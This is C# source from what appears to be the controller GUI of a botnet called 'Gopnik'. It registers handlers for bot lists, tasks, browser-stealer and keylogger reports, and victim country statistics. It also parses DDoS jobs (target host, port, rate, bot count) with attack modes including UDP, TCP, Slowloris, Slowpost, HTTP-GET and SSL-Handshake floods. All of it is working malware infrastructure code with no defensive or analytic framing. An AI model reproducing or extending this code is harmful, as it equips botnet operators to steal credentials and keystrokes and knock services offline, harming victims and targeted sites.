public Boolean Start() { try { if (File.Exists("GeoIP.dat")) { ls = new LookupService("GeoIP.dat", LookupService.GEOIP_MEMORY_CACHE); } m_GopnikClient = new CGopnikClient(); m_GopnikClient.OnConnected += m_GopnikClient_OnConnected; m_GopnikClient.OnDisconnect += m_GopnikClient_OnDisconnect; m_GopnikClient.OnLogin += m_GopnikClient_OnLogin; m_GopnikClient.OnResultsPerPage += delegate() { if (m_frmMain == null) { return; } if (!m_GopnikClient.IsRunning()) { return; } m_frmMain.Invoke((MethodInvoker) delegate() { CUtils.ReplaceRowCellValue(m_frmMain.gvStatistics, "Results per page", "Value", Program.ControllerConfig.ResultsPerPage); }); }; //Botlist m_GopnikClient.OnTotalBots += m_GopnikClient_OnTotalBots; m_GopnikClient.OnBots += m_GopnikClient_OnBots; //Main Tasks m_GopnikClient.OnMainTasks += m_GopnikClient_OnMainTasks; m_GopnikClient.OnTotalMainTasks += m_GopnikClient_OnTotalMainTasks; m_GopnikClient.OnMainTaskRemoved += m_GopnikClient_OnMainTaskRemoved; //Ddos list m_GopnikClient.OnDdosList += HandleOnDdosList; m_GopnikClient.OnTotalDdos += HandleOnTotalDdos; //Browser-Stealer Reports m_GopnikClient.OnBrowserStealer += m_GopnikClient_OnBrowserStealer; //Keylogger Reports m_GopnikClient.OnTotalKeylogReports += m_GopnikClient_OnTotalKeylogReports; m_GopnikClient.OnKeylogReports += m_GopnikClient_OnKeylogReports; m_GopnikClient.OnKeylogReport += m_GopnikClient_OnKeylogReport; m_GopnikClient.OnKeylogReportRemoved += m_GopnikClient_OnKeylogReportRemoved; //Logs m_GopnikClient.OnControllerLog += m_GopnikClient_OnControllerLog; //Statistics m_GopnikClient.OnOSStatistics += m_GopnikClient_OnOSStatistics; m_GopnikClient.OnCountryStatistics += m_GopnikClient_OnCountryStatistics; //Transfer m_GopnikClient.OnHeaderReceived += delegate(CPacketHeader Header) { DataRow Row = m_Transfer.NewRow(); Row[0] = Header.Packet_Ident; Row[1] = (MASTER_PACKET)Header.Packet; Row[2] = Header.Block_Amount; Row[3] = "0"; Row[4] = "Receiving"; m_frmMain.Invoke((MethodInvoker) delegate() { m_Transfer.Rows.Add(Row); }); }; m_GopnikClient.OnPacketReceived += delegate(CPacket Packet) { foreach (DataRow Row in m_Transfer.Rows) { string strPacketID = Row[0].ToString(); if (strPacketID == Packet.PacketHeader.Packet_Ident) { m_frmMain.Invoke((MethodInvoker) delegate() { m_Transfer.Rows.Remove(Row); }); break; } } }; m_GopnikClient.OnBlockReceived += delegate(string strPacketID) { foreach (DataRow Row in m_Transfer.Rows) { if (Row[0].ToString() != strPacketID) { continue; } int iReceived = -1; if (!int.TryParse(Row[3].ToString(), out iReceived)) { break; } iReceived++; m_frmMain.Invoke((MethodInvoker) delegate() { CUtils.ReplaceRowCellValue(m_frmMain.gvTransfer, strPacketID, "Blocks received", iReceived); }); } }; if (m_GopnikClient != null) { m_GopnikClient.Start(); } return(true); } catch { } return(false); }
void HandleOnDdosList(string[] arr_strDdoslist) { if (m_frmMain == null || !m_GopnikClient.IsRunning()) { return; } /* * [0] = ID * [1] = Type * [2] = Host * [3] = Port * [4] = PPS * [5] = Rate * [6] = Active Bots * [7] = Status * [8] = Start Date * [9] = End Date * [10] = Time left */ m_frmMain.Invoke((MethodInvoker) delegate() { this.CleanDdoslist(); }); if (arr_strDdoslist != null) { foreach (var strDdos in arr_strDdoslist) { var arr_strData = strDdos.Split('*'); if (arr_strData.Length != 13) { continue; } m_frmMain.Invoke((MethodInvoker) delegate() { DataRow DdosRow = m_DdosListData.NewRow(); arr_strData[6] += " Bots"; switch (arr_strData[1]) { case "0": arr_strData[1] = "UDP"; break; case "1": arr_strData[1] = "TCP"; break; case "2": arr_strData[1] = "Slowpost"; break; case "3": arr_strData[1] = "Slowloris"; break; case "4": arr_strData[1] = "HTTP-GET"; break; case "5": arr_strData[1] = "SSL-Handshake"; break; default: break; } int i = 0; for (i = 0; i < arr_strData.Length; i++) { DdosRow[i] = arr_strData[i]; } DdosRow[i++] = "Stop"; m_DdosListData.Rows.Add(DdosRow); }); } } }